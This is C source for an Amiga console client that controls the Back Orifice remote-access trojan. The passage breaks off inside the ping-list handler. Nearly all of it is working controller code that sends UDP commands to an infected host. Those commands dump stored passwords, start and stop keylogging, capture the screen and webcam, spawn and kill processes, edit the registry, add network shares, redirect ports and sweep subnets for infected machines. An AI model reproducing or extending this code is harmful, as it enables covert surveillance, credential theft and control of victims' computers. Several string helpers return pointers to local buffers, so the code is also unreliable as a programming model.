/* boclient.c - Console client for Back Orifice */

#include "config.h"
#include "boamiga.h"
#include "helpstrings.h"

#define  NORMAL       "\2330m"
#define  BOLD         "\2331m"
#define  ITALIC       "\2333m"
#define  UNDERLINE    "\2334m"

// INFORMACOES DA VERSAO
#define VERSIONSTR "1.21.10"
#define VERS "Freedom Back Orifice Client By SuRRouND"
#define DATE VERSIONSTR "," "13.Jan.2000"
#define VERSTAG "\\0$VER: " VERS " (" DATE ")"
const static char VersTag[] = VERSTAG;

/* GLOBALS */

unsigned long g_packet;
static long holdrand = 1L;
char g_password[ARGSIZE];
char g_lastdata[BUFFSIZE];
unsigned long g_lastpongip;
int g_lastpongport;
unsigned long host;
int udpsock;
char cwd[MAX_PATH];
int port = PORT;
char logfilepath[256];

FILE *logfilep;

char *
Corta (char var[256], char delimitador, int numero)
{
  char teste[256];
  int x, y = 0, z = 0, h = 0;
  for (x = 0; x <= strlen (var); x++)
    {
      teste[y++] = var[x];
      if (var[x] == delimitador || var[x] == '\0' || var[x] == '\n')
  {

    if (z++ >= numero)
      {
        teste[--y] = '\0';
        h = 1;
        break;
      }
    else
      {
        teste[0] = '\0';
        y = 0;
      }
    if (var[x] == '\0' || var[x] == '\n')
      break;
  }
    }
  teste[y] = '\0';
  if (h == 0)
    strcpy (teste, "");
  return teste;
}

char *
Copia (char *var, int inicio, int fim)
{
  char *teste;
  int x = 0, y = 0;

  teste = malloc (strlen (var) + 1);
  teste[0] = '\0';

  if (inicio < 1)
    inicio = 1;
  if (fim == -1)
    fim = 1000;

  inicio--;
  for (x = inicio; x < fim; x++)
    {
      if (x <= strlen (var))
  teste[y++] = var[x];
    }

  teste[y] = '\0';
  return teste;
}

int 
CopiaArquivo (char var1[256], char var2[256])
{
  char a;
  FILE *entrada, *saida;
  if (!(entrada = fopen (var1, "r")))
    return -1;
  if (!(saida = fopen (var2, "w")))
    return -1;
  while (a = getc (entrada), !feof (entrada))
    fputc (a, saida);
  fclose (entrada);
  fclose (saida);
  return 0;
}

char *
AposCaracter (char var[256], char caracter, int numero)
{
  char teste[256];
  int x = 0, y = 0, h = 0;
  if (numero >= strlen (var))
    numero = 0;
  for (x = 0; x < strlen (var); x++)
    {
      if ((y == 0) && (var[x] == caracter))
  {
    x = x + numero;
    y = 1;
  }
      if (y == 1)
  teste[h++] = var[x];
    }
  teste[h] = '\0';
  return teste;
}

int 
GravaRegistroDB (char arq[256], char var[256], char campo[256], char caracter[10])
{
  FILE *saida;
  if (!(saida = fopen (arq, caracter)))
    return 0;
  fprintf (saida, "**>%s®%s\n", campo, var);
  fclose (saida);
  return -1;
}

char *
LeRegistroDB (char arq[256], char campo[256])
{
  char teste[256], a;
  int x;
  FILE *entrada;
  if (!(entrada = fopen (arq, "r")))
    return "";
  x = 0;
  while (a = getc (entrada), !feof (entrada))
    {
      teste[x++] = a;
      if (a == '\n')
  {
    teste[--x] = '\0';
    if (!(strcmp (Corta (Corta (teste, '®', 0), '>', 1), campo)))
      {
        fclose (entrada);
        return AposCaracter (teste, '®', 1);
      }
    teste[0] = '\0';
    x = 0;
  }
    }
  fclose (entrada);
  return "";
}

int 
DeletaRegistroDB (char arq[256], char campo[256], char tmp[256])
{
  char teste[256], a;
  int x, total;
  FILE *entrada, *saida;
  if (!(entrada = fopen (arq, "r")))
    return -1;
  if (!(saida = fopen (tmp, "w")))
    return -1;
  x = 0;
  total = 0;
  while (a = getc (entrada), !feof (entrada))
    {
      teste[x++] = a;
      if (a == '\n')
  {
    teste[--x] = '\0';
    if (!(strcmp (Copia (Corta (teste, '®', 0), 4, 15), campo)))
      total++;
    else
      fprintf (saida, "%s\n", teste);
    teste[0] = '\0';
    x = 0;
  }
    }
  fclose (saida);
  fclose (entrada);
  CopiaArquivo (tmp, arq);
  remove (tmp);
  return total;
}

int 
ContaStrings (char frase[256], char string[256])
{
  char tmp[256];
  int x = 0;

  /*tmp = malloc(strlen(frase)); */
  strcpy (tmp, frase);

  if (!strcmp (tmp, "") || !strcmp (string, ""))
    return 0;

  while (strstr (tmp, string))
    {
      x++;
      strcpy (tmp, strstr (tmp, string));
      strcpy (tmp, Copia (tmp, (strlen (string) + 1), 1000));
    }
  return x;
}

char *
SubstituiString (char frase[256], char str1[256], char str2[256])
{
  char saida[256], parte1[256], parte2[256], tmp[256];

  if (!strcmp (frase, "") || !strcmp (str1, ""))
    return frase;

  strcpy (tmp, frase);
  strcpy (saida, frase);
  while (strstr (saida, str1))
    {
      strcpy (tmp, strstr (saida, str1));
      strcpy (parte1, Copia (saida, 1, (strlen (saida) - strlen (tmp))));
      strcpy (parte2, Copia (tmp, (strlen (str1) + 1), 1000));
      sprintf (tmp, "%s%s%s", parte1, str2, parte2);
      strcpy (saida, tmp);
    }
  strcpy (saida, tmp);
  return saida;
}

char *
EspacoString (char var[256], int tamanho, int opcao)
{
  char saida[256], teste[256];
  int x, y;
  x = strlen (var);
  y = tamanho - x;
  if (y <= 0)
    return Copia (var, 1, tamanho);
  for (x = 0; x < y; x++)
    teste[x] = ' ';
  teste[x] = '\0';
  if (opcao == 0)
    sprintf (saida, "%s%s", teste, var);
  else
    sprintf (saida, "%s%s", var, teste);
  return saida;
}

int 
strcasecmp (char primeiro[256], char segundo[256])
{
  if (!(strcmp (strupr (primeiro), segundo)))
    return 0;
  else
    return -1;
}

void 
givehelpcommand (char *arg1)
{
  if (strcasecmp (arg1, "HOST") == 0)
    puts (hosthelp);
  else if (strcasecmp (arg1, "QUIT") == 0)
    puts (quithelp);
  else if (strcasecmp (arg1, "PING") == 0)
    puts (pinghelp);
  else if (strcasecmp (arg1, "PINGLIST") == 0)
    puts (pinglisthelp);
  else if (strcasecmp (arg1, "SWEEP") == 0)
    puts (sweephelp);
  else if (strcasecmp (arg1, "SWEEPLIST") == 0)
    puts (sweeplisthelp);
  else if (strcasecmp (arg1, "SHELL") == 0)
    puts (shellhelp);
  else if (strcasecmp (arg1, "STATUS") == 0)
    puts (statushelp);
  else if (strcasecmp (arg1, "PASSWD") == 0)
    puts (passwdhelp);
  else if (strcasecmp (arg1, "DIR") == 0)
    puts (dirhelp);
  else if (strcasecmp (arg1, "CD") == 0)
    puts (cdhelp);
  else if (strcasecmp (arg1, "DEL") == 0)
    puts (delhelp);
  else if (strcasecmp (arg1, "GET") == 0)
    puts (gethelp);
  else if (strcasecmp (arg1, "PUT") == 0)
    puts (puthelp);
  else if (strcasecmp (arg1, "COPY") == 0)
    puts (copyhelp);
  else if (strcasecmp (arg1, "FIND") == 0)
    puts (findhelp);
  else if (strcasecmp (arg1, "FREEZE") == 0)
    puts (freezehelp);
  else if (strcasecmp (arg1, "MELT") == 0)
    puts (melthelp);
  else if (strcasecmp (arg1, "VIEW") == 0)
    puts (viewhelp);
  else if (strcasecmp (arg1, "REN") == 0)
    puts (renhelp);
  else if (strcasecmp (arg1, "MD") == 0)
    puts (mdhelp);
  else if (strcasecmp (arg1, "RD") == 0)
    puts (rdhelp);
  else if (strcasecmp (arg1, "INFO") == 0)
    puts (infohelp);
  else if (strcasecmp (arg1, "PASSES") == 0)
    puts (passeshelp);
  else if (strcasecmp (arg1, "DIALOG") == 0)
    puts (dialoghelp);
  else if (strcasecmp (arg1, "KEYLOG") == 0)
    puts (keyloghelp);
  else if (strcasecmp (arg1, "REBOOT") == 0)
    puts (reboothelp);
  else if (strcasecmp (arg1, "NETVIEW") == 0)
    puts (netviewhelp);
  else if (strcasecmp (arg1, "NETCONNECT") == 0)
    puts (netconnecthelp);
  else if (strcasecmp (arg1, "NETDISCONNECT") == 0)
    puts (netdisconnecthelp);
  else if (strcasecmp (arg1, "NETLIST") == 0)
    puts (netlisthelp);
  else if (strcasecmp (arg1, "RESOLVE") == 0)
    puts (resolvehelp);
  else if (strcasecmp (arg1, "SHARELIST") == 0)
    puts (sharelisthelp);
  else if (strcasecmp (arg1, "SHAREADD") == 0)
    puts (shareaddhelp);
  else if (strcasecmp (arg1, "SHAREDEL") == 0)
    puts (sharedelhelp);
  else if (strcasecmp (arg1, "PROCLIST") == 0)
    puts (proclisthelp);
  else if (strcasecmp (arg1, "PROCKILL") == 0)
    puts (prockillhelp);
  else if (strcasecmp (arg1, "PROCSPAWN") == 0)
    puts (procspawnhelp);
  else if (strcasecmp (arg1, "LISTCAPS") == 0)
    puts (listcapshelp);
  else if (strcasecmp (arg1, "CAPSCREEN") == 0)
    puts (capscreenhelp);
  else if (strcasecmp (arg1, "CAPFRAME") == 0)
    puts (capframehelp);
  else if (strcasecmp (arg1, "CAPAVI") == 0)
    puts (capavihelp);
  else if (strcasecmp (arg1, "SOUND") == 0)
    puts (soundhelp);
  else if (strcasecmp (arg1, "REDIRLIST") == 0)
    puts (redirlisthelp);
  else if (strcasecmp (arg1, "REDIRDEL") == 0)
    puts (redirdelhelp);
  else if (strcasecmp (arg1, "REDIRADD") == 0)
    puts (rediraddhelp);
  else if (strcasecmp (arg1, "APPADD") == 0)
    puts (appaddhelp);
  else if (strcasecmp (arg1, "APPDEL") == 0)
    puts (appdelhelp);
  else if (strcasecmp (arg1, "APPLIST") == 0)
    puts (applisthelp);
  else if (strcasecmp (arg1, "REGMAKEKEY") == 0)
    puts (regmakekeyhelp);
  else if (strcasecmp (arg1, "REGDELKEY") == 0)
    puts (regdelkeyhelp);
  else if (strcasecmp (arg1, "REGLISTKEYS") == 0)
    puts (reglistkeyshelp);
  else if (strcasecmp (arg1, "REGLISTVALS") == 0)
    puts (reglistvalshelp);
  else if (strcasecmp (arg1, "REGDELVAL") == 0)
    puts (regdelvalhelp);
  else if (strcasecmp (arg1, "REGSETVAL") == 0)
    puts (regsetvalhelp);
  else if (strcasecmp (arg1, "HTTPON") == 0)
    puts (httponhelp);
  else if (strcasecmp (arg1, "HTTPOFF") == 0)
    puts (httpoffhelp);
  else if (strcasecmp (arg1, "TCPSEND") == 0)
    puts (tcpsendhelp);
  else if (strcasecmp (arg1, "TCPRECV") == 0)
    puts (tcprecvhelp);
  else if (strcasecmp (arg1, "LOCKUP") == 0)
    puts (lockuphelp);
  else if (strcasecmp (arg1, "PLUGINEXEC") == 0)
    puts (pluginexechelp);
  else if (strcasecmp (arg1, "PLUGINKILL") == 0)
    puts (pluginkillhelp);
  else if (strcasecmp (arg1, "PLUGINLIST") == 0)
    puts (pluginlisthelp);
  else if (strcasecmp (arg1, "PORT") == 0)
    puts (porta);
  else if (strcasecmp (arg1, "PROFADD") == 0)
    puts (profadd);
  else if (strcasecmp (arg1, "PROFDEL") == 0)
    puts (profdel);
  else if (strcasecmp (arg1, "PROFLOAD") == 0)
    puts (profload);
  else if (strcasecmp (arg1, "PROFLIST") == 0)
    puts (proflist);
  else if (strcasecmp (arg1, "MACRO") == 0)
    puts (macro);
  else if (strcasecmp (arg1, "ALIASADD") == 0)
    puts (aliasadd);
  else if (strcasecmp (arg1, "ALIASDEL") == 0)
    puts (aliasdel);
  else if (strcasecmp (arg1, "ALIASLIST") == 0)
    puts (aliaslist);
  else if (strcasecmp (arg1, "CALL") == 0)
    puts (call);
  else if (strcasecmp (arg1, "VERSION") == 0)
    puts (version);
  else if (strcasecmp (arg1, "LOGFILE") == 0)
    puts (logfile);
  else if (strcasecmp (arg1, "UNSTOP") == 0)
    puts (unstop);
  else
    printf ("No help for '%s'\n", arg1);
}

/* COMMANDS.C */
void 
printhelp (void)
{
  char teste[256], teste2[256], a;
  int y = 0;
  FILE *entrada;

  printf ("\n\
\2331mBack Orifice Amiga Client v%s help:\2330m\n(Type help command for more help)\n\n\
\2331mINTERNAL COMMANDS\2330m\n\n\
\2334mBO commands\2330m:\n\
* host port ping pinglist status passwd sweep sweeplist macro\n\
  call, logfile, version, quit, exit, q, unstop\n\n\
\2334mBO Profile commands\2330m:\n\
* profadd profdel profload proflist\n\n\
\2334mBO Alias commands\2330m:\n\
* aliasadd aliasdel aliaslist\n\n\
\2334mFile commands\2330m: \n\
* dir del copy ren find freeze melt view tcpsend tcprecv\n\n\
\2334mDirectory commands\2330m: \n\
* cd rd md\n\n\
\2334mSystem commands\2330m: \n\
* info passes dialog keylog reboot httpon httpoff lockup\n\n\
\2334mNetwork commands\2330m: \n\
* netview netconnect netdisconnect netlist resolve sharelist\n\
  shareadd sharedel\n\n\
\2334mPlugin commands\2330m: \n\
* pluginexec pluginkill pluginlist\n\n\
\2334mProcess commands\2330m: \n\
* proclist prockill procspawn\n\n\
\2334mRegistry commands\2330m: \n\
* regmakekey regdelkey regdelval reglistkeys reglistvals\n\
  regsetval\n\n\
\2334mMultimedia commands\2330m:  \n\
* listcaps capframe capavi capscreen sound\n\n\
\2334mRedir commands\2330m:\n\
* redirlist rediradd redirdel\n\n\
\2334mConsole application commands\2330m: \n\
* applist  appadd appdel\n\
\n", VERSIONSTR);

  printf ("\2331mEXTERNAL BO commands\2330m:\n\n");
  if (entrada = fopen ("s:bo.alias", "r"))
    {
      y = 0;
      while (a = getc (entrada), !feof (entrada))
  {
    teste[y++] = a;
    if (a == '\n')
      {
        teste[--y] = '\0';
        if (teste[0] != '#')
    {
      strcpy (teste2, EspacoString (Copia (Corta (teste, '®', 0), 4, 256), 15, 1));
      printf ("[\2331m%s\2330m] ", teste2);
      strcpy (teste2, Corta (teste, '®', 2));
      printf ("%s\n", teste2);
    }
        teste[0] = '\0';
        y = 0;
      }
  }
      fclose (entrada);
      printf ("\n");
    }
}

int 
executecommand (char *command, char *arg1, char *arg2, char *arg3)
{
  unsigned long dest;
  int x, y = 0;
  char buff[BUFFSIZE];
  char buff2[BUFFSIZE];
  char desc[256];
  char teste[256], teste2[256], a;
  struct in_addr hostin;
  struct hostent *hptr;
  unsigned char *ptr;
  FILE *file, *entrada;

  if (strcasecmp (command, "HELP") == 0 || strcmp (command, "?") == 0)
    {
      if (!strlen (arg1))
  printhelp ();
      else
  {
    printf ("\n");
    givehelpcommand (arg1);
    printf ("\n");
  }
    }
  else if ((strcasecmp (command, "QUIT")) == 0 || (strcasecmp (command, "EXIT") == 0) || (strcasecmp (command, "Q") == 0))
    {
      s_close (udpsock);
      cleanup_sockets ();
      CloseLibrary ((struct Library *) SockBase);
      exit (0);
    }
  else if (strcasecmp (command, "HOST") == 0)
    {
      /* Is it a hostname or a valid address? */
      if ((host = inet_addr (arg1)) == (unsigned long) -1)
  {
    /* Ain't an address, assuming hostname */
    if ((hptr = gethostbyname (arg1)) == NULL)
      {
        host = 0;
        hostin.s_addr = host;
        printf ("resolver said: eat me.\n");
        return (1);
      }
    printf ("official hostname: %s  address: %s\n",
      hptr->h_name,
      inet_ntoa (*(struct in_addr *) hptr->h_addr_list[0]));
    if ((host = *(unsigned long *) hptr->h_addr_list[0]) == (unsigned long) -1)
      {
        host = 0;
        hostin.s_addr = host;
        printf ("resolver returned bogus IP address!\n");
        return (1);
      }
  }
      if ((x = atoi (arg2)))
  port = x;

      hostin.s_addr = host;
      printf ("New host: %s:%d\n", inet_ntoa (hostin), port);
    }
  else if (strcasecmp (command, "PING") == 0)
    {
      if (!sendpacket (TYPE_PING, "", "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "STATUS") == 0)
    {
      hostin.s_addr = host;
      printf ("Current Back Orifice Console Client status:\n Host: %s port %d\n",
        inet_ntoa (hostin), port);
      printf (" Remote dir: %s\n", cwd);
    }
  else if (strcasecmp (command, "DIR") == 0)
    {
      if (arg1[0] == 0)
  sprintf (buff, "%s*", cwd);
      else
  {
    if (arg1[0] == '\\')
      {
        strncpy (buff, cwd, 3);
        strcpy (buff + 3, arg1);
      }
    else if (strncmp (arg1 + 1, ":\\", 2) == 0)
      {
        strcpy (buff, arg1);
      }
    else
      {
        strcpy (buff, cwd);
        strcat (buff, arg1);
      }
    x = strlen (buff);
    if (buff[x - 1] == '\\');
    strcat (buff, "*");
  }
      if (!sendpacket (TYPE_DIRECTORYLIST, buff, "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "CD") == 0)
    {
      if (arg1[0] == 0)
  {
    puts ("Must supply directory name");
    return (1);
  }
      strcpy (cwd, arg1);
      x = strlen (cwd);
      if (cwd[x - 1] != '\\');
      strcat (cwd, "\\");
      printf ("New directory on host is %s\n", cwd);
    }
  else if (strcasecmp (command, "DEL") == 0)
    {
      if (arg1[0] == 0)
  {
    puts ("Must supply filename");
    return (1);
  }
      fixfilename (buff, cwd, arg1);
      if (!sendpacket (TYPE_FILEDELETE, buff, "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "COPY") == 0)
    {
      if (arg1[0] == 0)
  {
    puts ("Must supply filename");
    return (1);
  }
      fixfilename (buff, cwd, arg1);
      if (arg2[0] == 0)
  {
    ptr = strrchr (buff, '\\');
    ptr++;
    sprintf (buff2, "%s%s", cwd, ptr);
  }
      else
  {
    fixfilename (buff2, cwd, arg2);
  }
      if (!sendpacket (TYPE_FILECOPY, buff, buff2, host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "FIND") == 0)
    {
      if ((arg1[0] == 0) || (arg2[0] == 0))
  {
    puts ("Must supply file & pathname");
    return (1);
  }
      if (!sendpacket (TYPE_FILEFIND, arg1, arg2, host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "FREEZE") == 0)
    {
      if (arg1[0] == 0 || arg2[0] == 0)
  {
    puts ("Must supply source and destination filenames");
    return (1);
  }
      fixfilename (buff, cwd, arg1);
      fixfilename (buff2, cwd, arg2);
      if (!sendpacket (TYPE_FILEFREEZE, buff, buff2, host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "MELT") == 0)
    {
      if (arg1[0] == 0 || arg2[0] == 0)
  {
    puts ("Must supply source and destination filenames");
    return (1);
  }
      fixfilename (buff, cwd, arg1);
      fixfilename (buff2, cwd, arg2);
      if (!sendpacket (TYPE_FILEMELT, buff, buff2, host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "VIEW") == 0)
    {
      if (arg1[0] == 0)
  {
    puts ("Must supply filename");
    return (1);
  }
      fixfilename (buff, cwd, arg1);
      if (!sendpacket (TYPE_FILEVIEW, buff, "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "MD") == 0)
    {
      if (arg1[0] == 0)
  {
    puts ("Must supply directory name");
    return (1);
  }
      fixfilename (buff, cwd, arg1);
      if (!sendpacket (TYPE_DIRECTORYMAKE, buff, "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "RD") == 0)
    {
      if (arg1[0] == 0)
  {
    puts ("Must supply directory name");
    return (1);
  }
      fixfilename (buff, cwd, arg1);
      if (!sendpacket (TYPE_DIRECTORYDELETE, buff, "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "INFO") == 0)
    {
      if (!sendpacket (TYPE_SYSINFO, "", "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "PASSES") == 0)
    {
      if (!sendpacket (TYPE_SYSLISTPASSWORDS, "", "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "DIALOG") == 0)
    {
      if ((arg1[0] == 0) || (arg2[0] == 0))
  {
    puts ("Must supply dialog box text and title");
    return (1);
  }
      if (!sendpacket (TYPE_SYSDIALOGBOX, arg1, arg2, host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "NETVIEW") == 0)
    {
      if (!sendpacket (TYPE_NETVIEW, "", "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "NETLIST") == 0)
    {
      if (!sendpacket (TYPE_NETCONNECTIONS, "", "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "NETCONNECT") == 0)
    {
      if (arg1[0] == 0)
  {
    puts ("Must supply resource name");
    return (1);
  }
      if (!sendpacket (TYPE_NETUSE, arg1, arg2, host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "NETDISCONNECT") == 0)
    {
      if (arg1[0] == 0)
  {
    puts ("Must supply resource name");
    return (1);
  }
      if (!sendpacket (TYPE_NETDELETE, arg1, "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "PROCLIST") == 0)
    {
      if (!sendpacket (TYPE_PROCESSLIST, "", "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "PROCKILL") == 0)
    {
      if (!sendpacket (TYPE_PROCESSKILL, arg1, "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "PROCSPAWN") == 0)
    {
      if (arg1[0] == 0)
  {
    puts ("Must supply at least application name");
    return (1);
  }
      sprintf (buff, "%s %s", arg1, arg2);
      if (!sendpacket (TYPE_PROCESSSPAWN, buff, "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "PASSWD") == 0)
    {
      if (arg1[0] == 0)
  {
    g_password[0] = 0;
    printf ("Password removed.\n");
  }
      else
  {
    strcpy (g_password, arg1);
    printf ("New encryption password set to '%s'\n", g_password);
  }
    }
  else if (strcasecmp (command, "REN") == 0)
    {
      if (arg1[0] == 0)
  {
    puts ("Must supply filename");
    return (1);
  }
      else
  {
    fixfilename (buff, cwd, arg1);
    if (arg2[0] == 0)
      {
        ptr = strrchr (buff, '\\');
        ptr++;
        sprintf (buff2, "%s%s", cwd, ptr);
      }
    else
      {
        fixfilename (buff2, cwd, arg2);
      }
    if (!sendpacket (TYPE_FILERENAME, buff, buff2, host, port, udpsock))
      return (getinput (udpsock));
    else
      return (1);
  }
    }
  else if (strcasecmp (command, "RESOLVE") == 0)
    {
      if (arg1[0] == 0)
  {
    puts ("Must supply hostname");
    return (1);
  }
      if (!sendpacket (TYPE_RESOLVEHOST, arg1, "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "SHARELIST") == 0)
    {
      if (!sendpacket (TYPE_NETEXPORTLIST, "", "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "SHAREADD") == 0)
    {
      if (arg1[0] == 0 || arg2[0] == 0)
  {
    puts ("Must supply share name and path");
    return (1);
  }
      if (!sendpacket (TYPE_NETEXPORTADD, arg1, arg2, host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "SHAREDEL") == 0)
    {
      if (arg1[0] == 0)
  {
    puts ("Must supply share name");
    return (1);
  }
      if (!sendpacket (TYPE_NETEXPORTDELETE, arg1, "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "KEYLOG") == 0)
    {
      if (arg1[0] == 0)
  {
    puts ("Must supply log filename");
    return (1);
  }
      if (strcasecmp (arg1, "STOP") == 0)
  {
    if (!sendpacket (TYPE_SYSENDKEYLOG, "", "", host, port, udpsock))
      return (getinput (udpsock));
    else
      return (1);
  }
      else
  {
    if (!sendpacket (TYPE_SYSLOGKEYS, arg1, "", host, port, udpsock))
      return (getinput (udpsock));
    else
      return (1);
  }
    }
  else if (strcasecmp (command, "REGMAKEKEY") == 0)
    {
      if (arg1[0] == 0)
  {
    puts ("Must supply key name");
    return (1);
  }
      if (!sendpacket (TYPE_REGISTRYCREATEKEY, arg1, "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "REGDELKEY") == 0)
    {
      if (arg1[0] == 0)
  {
    puts ("Must supply key name");
    return (1);
  }
      if (!sendpacket (TYPE_REGISTRYDELETEKEY, arg1, "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "REGDELVAL") == 0)
    {
      if (arg1[0] == 0)
  {
    puts ("Must supply value name");
    return (1);
  }
      if (!sendpacket (TYPE_REGISTRYDELETEVALUE, arg1, "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "REGLISTKEYS") == 0)
    {
      if (arg1[0] == 0)
  {
    puts ("Must supply key name");
    return (1);
  }
      if (!sendpacket (TYPE_REGISTRYENUMKEYS, arg1, "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "REGLISTVALS") == 0)
    {
      if (arg1[0] == 0)
  {
    puts ("Must supply key name");
    return (1);
  }
      if (!sendpacket (TYPE_REGISTRYENUMVALS, arg1, "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "REGSETVAL") == 0)
    {
      if (arg1[0] == 0 || arg2[0] == 0)
  {
    puts ("Must supply value name and data");
    return (1);
  }
      if (!sendpacket (TYPE_REGISTRYSETVALUE, arg1, arg2, host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "LISTCAPS") == 0)
    {
      if (!sendpacket (TYPE_MMLISTCAPS, "", "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "CAPFRAME") == 0)
    {
      if (arg1[0] == 0)
  {
    puts ("Must supply bitmap filename");
    return (1);
  }
      if (!sendpacket (TYPE_MMCAPFRAME, arg1, arg2, host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "CAPAVI") == 0)
    {
      if (arg1[0] == 0 || atoi (arg2) == 0)
  {
    puts ("Must supply avi filename and number of seconds");
    return (1);
  }
      if (!sendpacket (TYPE_MMCAPAVI, arg1, arg2, host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "CAPSCREEN") == 0)
    {
      if (arg1[0] == 0)
  {
    puts ("Must supply bitmap filename");
    return (1);
  }
      if (!sendpacket (TYPE_MMCAPSCREEN, arg1, "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "SOUND") == 0)
    {
      if (arg1[0] == 0)
  {
    puts ("Must supply wav filename");
    return (1);
  }
      if (!sendpacket (TYPE_MMPLAYSOUND, arg1, "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "REDIRLIST") == 0)
    {
      if (!sendpacket (TYPE_REDIRLIST, "", "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "REDIRADD") == 0)
    {
      if (arg1[0] == 0 || arg2[0] == 0)
  {
    puts ("Must supply input port and destination IP");
    return (1);
  }
      if (!sendpacket (TYPE_REDIRADD, arg1, arg2, host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "REDIRDEL") == 0)
    {
      if (arg1[0] == 0)
  {
    puts ("Must supply redir id");
    return (1);
  }
      if (!sendpacket (TYPE_REDIRDEL, arg1, "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "APPLIST") == 0)
    {
      if (!sendpacket (TYPE_APPLIST, "", "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "APPADD") == 0)
    {
      if (arg1[0] == 0 || arg2[0] == 0)
  {
    puts ("Must supply exe name and input port");
    return (1);
  }
      if (!sendpacket (TYPE_APPADD, arg1, arg2, host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "APPDEL") == 0)
    {
      if (arg1[0] == 0)
  {
    puts ("Must supply app id");
    return (1);
  }
      if (!sendpacket (TYPE_APPDEL, arg1, "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "HTTPON") == 0)
    {
      if (atoi (arg1) == 0)
  {
    puts ("Must supply port");
    return (1);
  }
      if (!sendpacket (TYPE_HTTPENABLE, arg1, arg2, host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "HTTPOFF") == 0)
    {
      if (!sendpacket (TYPE_HTTPDISABLE, "", "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "SWEEP") == 0)
    {
      if (!strlen (arg1))
  {
    puts ("Must supply subnet");
    return (1);
  }
      return (pingsweepsubnet (arg1, udpsock, port, ""));
    }
  else if (strcasecmp (command, "SWEEPLIST") == 0)
    {
      if (!strlen (arg1))
  {
    puts ("Must supply list filename");
    return (1);
  }
      if ((file = fopen (arg1, "rt")) == NULL)
  {
    perror ("fopen");
    return (1);
  }

      while (fgets (buff, BUFFSIZE, file) != NULL)
  {
    if (buff[strlen (buff) - 1] == '\n')
      buff[strlen (buff) - 1] = '\0';
    desc[0] = '\0';
    strcpy (buff2, Corta (buff, ':', 0));
    strcpy (desc, Corta (buff, ':', 1));
    if (pingsweepsubnet (buff2, udpsock, port, desc))
      printf ("Sweep of %s failed\n", buff2);
  }
      if (fclose (file) == EOF)
  {
    perror ("fclose");
    return (1);
  }
      printf ("Full sweep ended.\n");
      return (0);
    }
  else if (strcasecmp (command, "PINGLIST") == 0)
    {
      if (!strlen (arg1))
  {
    puts ("Must supply list filename");
    return (1);
  }
      if ((file = fopen (arg1, "rt")) == NULL)
  {
    perror ("fopen");
    return (1);
  }
      while (fgets (buff, BUFFSIZE, file) != NULL)
  {
    if (buff[strlen (buff) - 1] == '\n')
      buff[strlen (buff) - 1] = '\0';
    if ((dest = inet_addr (buff)) == (unsigned long) -1)
      printf ("Bad IP: '%s'\n", buff);
    else
